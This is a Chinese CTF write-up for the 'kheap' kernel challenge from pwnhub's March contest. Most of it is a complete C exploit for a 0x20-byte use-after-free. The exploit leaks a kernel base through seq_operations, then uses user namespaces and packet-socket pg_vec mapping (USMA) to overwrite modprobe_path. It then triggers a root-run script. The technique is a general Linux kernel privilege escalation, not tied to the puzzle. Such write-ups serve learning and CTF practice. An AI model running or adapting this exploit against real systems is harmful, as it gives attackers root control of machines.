pwnhub 3月公开赛 - kheap

前言

清理电脑文件时,发现这道题,之前没学 kernel pwn 就没做,然后就一直搁了,正好好久没做 kernel pwn 了,就把之前的帐给还 了吧。
题目直接给了提示:【Hint1】uaf劫持seq_operations结构体

漏洞分析

题目实现增删查改的功能,白给的 0x20 大小的 UAF,开启了 SMEP\KASLR
pwnhub 3月公开赛 - kheap_第1张图片

漏洞利用

这里懒得找 gadget 了,所以打算劫持 freelist 去打 modprobe_path 的,但是发现其开了保护,但是这里是可以泄漏 cookie 的(也就是那个异或的随机数),但是我懒的搞了,就直接利用 USMAmodprobe_path

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 


void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int fd;

typedef struct requset {
        uint64_t idx;
        char* buf;

}request;

void add(uint64_t idx) {
        request req = { .idx = idx };
        ioctl(fd, 0x10000, &req);
}

void del(uint64_t idx) {
        request req = { .idx = idx };
        ioctl(fd, 0x10001, &req);
}

void dul(uint64_t idx) {
        request req = { .idx = idx };
        ioctl(fd, 0x10002, &req);
}

void copy(char* buf) {
        request req = { .buf = buf };
        ioctl(fd, 0x6666, &req);
}


void unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;

    if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
        err_exit("FAILED to create a new namespace");

    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}

#ifndef ETH_P_ALL
#define ETH_P_ALL 0x0003
#endif

void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1);

    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) perror("setsockopt(PACKET_RX_RING)"), exit(-1);
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) puts("socket(AF_PACKET)"), exit(-1);

    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) puts("bind(AF_PACKET)"), exit(-1);

    return s;
}

int pagealloc_pad(int count, int size) {
    return packet_socket_setup(size, 2048, count, 0, 100);
}

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /home/x");
        system("chmod +x /home/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /home/dummy");
        system("chmod +x /home/dummy");
        system("/home/dummy");
        sleep(0.3);
        system("cat /flag");
        exit(0);
}

size_t koffset;
int main(int argc, char** argv, char** envp)
{
        pid_t pid;
//      int pipe_fd[2];
//      pipe(pipe_fd);
        pid = fork();
        if (!pid)
        {
                unshare_setup();
                bind_core(0);

                fd = open("/dev/kheap", O_RDWR);
                if (fd < 0) err_exit("FAILED to open dev file");

                char buf[0x200] = { 0 };

                add(0);
                dul(0);
                del(0);

                int seq_fd = open("proc/self/stat", O_RDONLY);

                read(fd, buf, 0x20);
                binary_dump("seq_operations data", buf, 0x20);

                koffset = *(size_t*)buf - 0xffffffff8133f980;
                size_t modprobe_path = koffset + 0xffffffff82c6c2e0;
                hexx("koffset", koffset);
                hexx("modprobe_path", modprobe_path);
                memset(buf, 0, sizeof(buf));

                add(0);
                dul(0);
                add(1);
                del(0);
                del(1);
                int packet_fd = pagealloc_pad(0x20 / 8, 4096);
                read(fd, buf, 0x20);
                binary_dump("pg_vec data", buf, 0x20);
                *(size_t*)buf = modprobe_path - 0x2e0;
                write(fd, buf, 0x20);
                char *page = NULL, *modprobe_path_ptr = NULL;
                page = mmap(NULL, 0x1000*(0x20 / 8), PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0);
                modprobe_path_ptr = page + 0x2e0;
                puts(modprobe_path_ptr);

                strcpy(modprobe_path_ptr, "/home/x");

                get_flag();
        //      write(pipe_fd[1], "G", 1);
        //      puts("CHILD END");
        //      exit(0);
        } else if (pid < 0) {
                err_exit("FAILED to fork");
        } else {
        //      char buf[1];
        //      read(pipe_fd[0], buf, 1);
        //      puts("PARENT END");
        //      exit(0);
                wait(NULL);
                exit(0);
        }

        puts("EXP NERVER END");
}

效果如下:
pwnhub 3月公开赛 - kheap_第2张图片

你可能感兴趣的:(kernel-pwn,UAF)